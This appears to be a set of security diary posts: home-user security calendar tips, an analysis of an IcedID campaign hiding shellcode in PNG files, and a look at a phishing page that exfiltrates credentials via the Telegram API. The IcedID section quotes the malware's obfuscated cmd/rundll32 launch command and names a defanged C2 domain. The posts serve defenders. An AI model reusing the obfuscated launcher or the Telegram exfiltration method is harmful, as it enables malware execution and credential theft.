Lately, I have been toying with the idea of creating an "infosec calendar" with activities to perform regularly. The calendar would be more targeted at home users and enthusiasts, certainly not at enterprises, but they may develop their own based on some of these ideas.
There are some of the items that I am considering, and well PLEASE suggest yours:
Restart your browser at least once a day
Some systems may not be stable enough for this to matter, but I find that if you keep your browser open all the time (as many of us do by default), and never close it, browser updates do not get applied. Chrome has a useful indicator warning, but not everybody "sees" it. So I make it a habit to restart my browser in the morning.
Reboot your system once a week
Same idea: Patches will often require a restart of the particular software patched. As you may have dozens of programs patched each week, it is easier to just reboot the system.
Microsoft Patch Tuesday
I am not a big Windows user, so this one applies less to me, but having a calendar reminder on the Wednesday after patch Tuesday to make sure that the patch Tuesday updates are applied makes some sense. Maybe reschedule your weekly reboot for Thursday?
Monthly Backup Check
For my desktops/laptops, I currently run 3 backups (Incremental Timemachine, Daily full clone with Carbon Copy Cloner, and a cloud-based "off-site" solution). But they sometimes fail; worse, they can either fail silently or notify you of a failure while you are busy with something else, so you click them away and forget about it. At the very least, check once a month that your backups are happening. Better restore a file once a month. Maybe a quarterly or annual "restore a system from scratch" test (which is time-consuming).
Monthly Router/Switch/IoT Update check
Many network devices have no robust way to notify you of updates. Often, you need to manually check the current firmware version and compare it (again: manually) to the latest firmware available from the manufacturer. I scripted these checks in the past, but these scripts are a pain to maintain. So it is probably a good idea to check manually once a month. This includes, first of all, your firewall/router, but also other network devices and certainly IoT devices (cameras, microwave oven...)
Monthly failover checks
This is a generic item and may not apply to everybody. But if you have a secondary internet connection or even a UPS for power backup, test them once a month to ensure they work. Note: Try to avoid testing a UPS by unplugging it. This can cause issues as you remove the ground connection. For a power outage, the ground connection remains. If your home disaster recovery plan is to work from a remote location: Simulate it by tethering from a cell phone and make sure things like VPNs and such connect.
So what else is on your calendar?
[This is a guest diary we received from Gunter Der]
While the recommendations for Exchange on Premise, as a workaround for the “ProxyNotShell” vulnerabilities, were updated  and Exchange online customers, still relying on basic auth, are targeted by password spray attacks , I had another look at recent IcedID campaigns using PNG files to hide their malicious payload.
As Didier Stevens pointed out in his diary last week, these PNGs are not just decoy images . The initial html page (eg. SHA256 0ab12d65800f3e7e6089fe3c534911f0b42d9175bcf955e937edd39e8bb2c13a)  has 2 base64 encoded sections, one is used as background gif to trick users in decrypting the dropped zip, the largest base64 section, with the plain text password provided at the end of the html.
The zip contains an .iso which in its turn contains a 64bit dll, the PNG and a .lnk shortcut gluing it all together:
C:\Windows\System32\cmd.exe /c start 73febb25-a241-41d6-8736-4c26ea6932b3.png && start ru^n^d^l^l3^2 2cdb83ee-c76c-4d7c-b9bc-2f4aab08f773.-Tf,PluginInit
The initial access broker behind this trickery is known to hide RC4 ciphered shellcode in PNG files for a few years now so the eventual C2 (in example above triskawilko[.]com) gets detected and picked up quickly . The first network activity, the DNS lookup of C2, however is delayed to evade standard timeout on some sandboxes.
Much more PNG steganography, shellcode analysis is being covered in the formidable FOR710 Reverse-Engineering Malware: Advanced Code Analysis training.
[This is a guest diary by Jesse LaGrew]
Phishing emails are a daily occurrence and many times it ends with credential harvesting. An email initially lures a user to a website that promised an anticipated file. The landing page taunts a user to click on an additional link and enter their credentials. In this case, the credentials entered by the user are not sent back to the bad actor using a simple web form but using the Telegram API .
Figure 1: Phishing Landing Site Screenshot
Looking at the source of the website, the URL encoding can make the text difficult to read.
Figure 2: URL Encoded Text Screenshot from Document Source
Within the URL decoded text, the destination for the input credentials can be found.
Figure 3: Telegram API URL for Credential Submission
Using the Proxy Intercept feature of Burp Suite can help to show the full Telegram API request. The response can also give some additional information about the bot account being used.
Figure 4: Telegram API Request in Burb Suite
Using the Telegram API for exfiltration is becoming much more common and API usage on your network may be a useful indicator. More information about this particular landing page can be found at URLScan .
salmangreyBot (Telegram Bot)